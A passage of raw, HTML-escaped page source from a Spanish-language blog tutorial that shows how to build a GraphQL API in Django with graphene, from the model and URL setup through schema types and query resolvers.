anime&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Ahora crearé un único modelo en la app y añadiré tres instancias usando el admin. Tengo una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/&#34;&gt;entrada sobre el django admin&lt;/a&gt;&#xA; en caso de que no sepas configurarlo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# anime/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Anime&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    title &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rating &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;PositiveSmallIntegerField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Recuerda ejecutar las migraciones en caso de que no lo hayas hecho, para que los cambios en nuestra app se reflejen en la base de datos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora vamos a instalar graphene en nuestra aplicación de Django.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Graphene-django requiere que esté instalado staticfiles en tu aplicación, por lo que asegúrate de tenerlo instalado.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;django.contrib.staticfiles&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;graphene_django&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como ya sabes, a diferencía de una API en REST, &lt;strong&gt;Graphql cuenta con un único endpoint que recibe las queries&lt;/strong&gt;, por lo que solo necesitaremos añadir una url a nuestra aplicación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/urls.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; graphene_django.views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; GraphQLView&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;graphql&amp;#34;&lt;/span&gt;, GraphQLView&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(graphiql&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El parámetro &lt;em&gt;graphiql&lt;/em&gt; le indica a django si debe servir o no la interfaz graphiql.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/graphiqlTrueOrFalse.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/graphiqlTrueOrFalse.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Diferencia en la interfaz al poner graphql como True o False&#34; width=&#34;1063&#34; height=&#34;430&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Si ahora intentamos acceder a la url que acabamos de crear, django nos devolverá un error avisándonos que &lt;strong&gt;necesitamos un &lt;em&gt;schema&lt;/em&gt; de graphql&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/aSchemaIsRequired.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/aSchemaIsRequired.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Error por no definir un schema en graphene&#34; width=&#34;1182&#34; height=&#34;753&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Error por falta de un schema en graphene&lt;/p&gt;&#xA;&lt;p&gt;Vamos a indicarle a django donde será la ubicación de nuestro schema.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GRAPHENE &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;SCHEMA&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;criticaAnime.schema.schema&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nuestro schema será un objeto llamado &lt;em&gt;schema&lt;/em&gt; que se encuentrará dentro de un archivo llamado &lt;em&gt;schema&lt;/em&gt;.py en la carpeta de nuestro proyecto.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/ubicacionDeSchema.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/ubicacionDeSchema.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Localización del objeto schema&#34; width=&#34;289&#34; height=&#34;302&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Yo lo he puesto aquí, pero tú puedes ponerlo donde consideres mejor y ajustar la ruta a tu ubicación.&lt;/p&gt;&#xA;&lt;h2 id=&#34;crear-un-schema-con-graphene&#34;&gt;Crear un schema con graphene&lt;/h2&gt;&#xA;&lt;p&gt;Ahora que contamos con un schema y que django sabe donde encontrarlo, necesitamos detallarle a graphql el manejo de nuestras queries.&lt;/p&gt;&#xA;&lt;p&gt;Aquí vamos a crear un objeto que represente un type de graphql. Para esto creamos una clase que herede de &lt;em&gt;DjangoObjectType&lt;/em&gt; y especificamos el modelo y los campos en su clase Meta.&lt;/p&gt;&#xA;&lt;p&gt;Este &lt;em&gt;DjangoObjectType&lt;/em&gt; es el modelo que se usará como base para manejar las validaciones de graphql y decirle a Django que campos de nuestro objeto debe devolver.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; graphene&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; graphene_django &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; DjangoObjectType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; anime.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Anime&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;AnimeType&lt;/span&gt;(DjangoObjectType):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Meta&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        model &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Anime&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;rating&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora vamos a crear una clase &lt;em&gt;Query&lt;/em&gt; que contendrá todas y cada una de nuestras queries o consultas, en forma de métodos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;retornando-listas-con-graphene&#34;&gt;Retornando listas con graphene&lt;/h2&gt;&#xA;&lt;p&gt;A continuación buscamos que nuestra query sea una lista de objetos &lt;em&gt;AnimeType&lt;/em&gt; (el que acabamos de crear en el paso anterior).&lt;/p&gt;&#xA;&lt;p&gt;Podrías considerar a esta propiedad como el &lt;strong&gt;equivalente de un type o parte del schema&lt;/strong&gt; en Javascript.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; graphene&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; graphene_django &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; DjangoObjectType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Query&lt;/span&gt;(graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ObjectType):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    all_animes &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;List(AnimeType)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora vamos a decirle que debe contener la query que resuelve &lt;em&gt;all_animes&lt;/em&gt;, para eso vamos a crear una función con el siguiente formato &amp;lt;&lt;em&gt;resolve_ + propiedad_de_graphene&amp;gt;&lt;/em&gt; = resolve_propiedad_graphene (&lt;em&gt;resolve_all_animes&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Puedes considerar a este método como el &lt;strong&gt;equivalente de un resolver&lt;/strong&gt; en Javascript.&lt;/p&gt;&#xA;&lt;p&gt;Graphene se encargará automáticamente de dos cosas:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Asociar el queryset que devolvamos con la propiedad&lt;/li&gt;&#xA;&lt;li&gt;Transformar la query a camel case (En este caso allAnimes).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; graphene&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; graphene_django &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; DjangoObjectType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Query&lt;/span&gt;(graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ObjectType):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    all_animes &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;List(AnimeType)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;resolve_all_animes&lt;/span&gt;(root, info):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Anime&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;schema &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Schema(query&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si por alguna razón quieres &lt;strong&gt;desactivar la transformación del texto a camel&lt;/strong&gt; case indícalo en el objeto schema. Yo lo dejaré con el camel case activado&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# SOLO si quieres desactivar el camelcase&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;schema &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Schema(query&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Query, auto_camelcase&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;False&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con el camel case activado, la query llamada &lt;em&gt;allAnimes&lt;/em&gt; nos retornará el resultado del queryset &lt;em&gt;Anime.objects.all()&lt;/em&gt;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/QuerysetGraphene.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/QuerysetGraphene.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Resultado de la query allAnimes en graphql&#34; width=&#34;820&#34; height=&#34;483&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;retornando-consultas-graphql-con-parametros&#34;&gt;Retornando consultas Graphql con parámetros&lt;/h2&gt;&#xA;&lt;p&gt;Para crear una nueva query con parámetros añadiremos un nuevo método para nuestro objeto Query y seguiremos la misma formula: crearemos una propiedad y luego uniremos el nombre con el prefijo &lt;em&gt;resolve_&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sin embargo en este caso usaremos un argumento, así que le tenemos que decir el nombre del argumento y el tipo de dato en graphql, en este caso el argumento se llamará &lt;em&gt;title&lt;/em&gt; y el tipo de dato será &lt;em&gt;String&lt;/em&gt;. Aprecia como le pasamos &lt;em&gt;required&lt;/em&gt; para que sea obligatorio y su presencia como argumento en el nuevo método.&lt;/p&gt;&#xA;&lt;p&gt;Recuerda que el resultado de la query lo decidimos nosotros, yo he usado un simple &lt;em&gt;icontains&lt;/em&gt; para una búsqueda insensible a mayúsculas o minúsculas, pero tú puedes usar lo que quieras, incluso un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/full-text-search-y-busquedas-con-django-y-postgres/&#34;&gt;full text search&lt;/a&gt;&#xA;, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/trigramas-y-busquedas-avanzadas-con-django-y-postgres/&#34;&gt;búsquedas avanzadas con trigramas con postgres&lt;/a&gt;&#xA; o lo que prefieras.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; graphene&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; graphene_django &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; DjangoObjectType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Query&lt;/span&gt;(graphene&lt;span 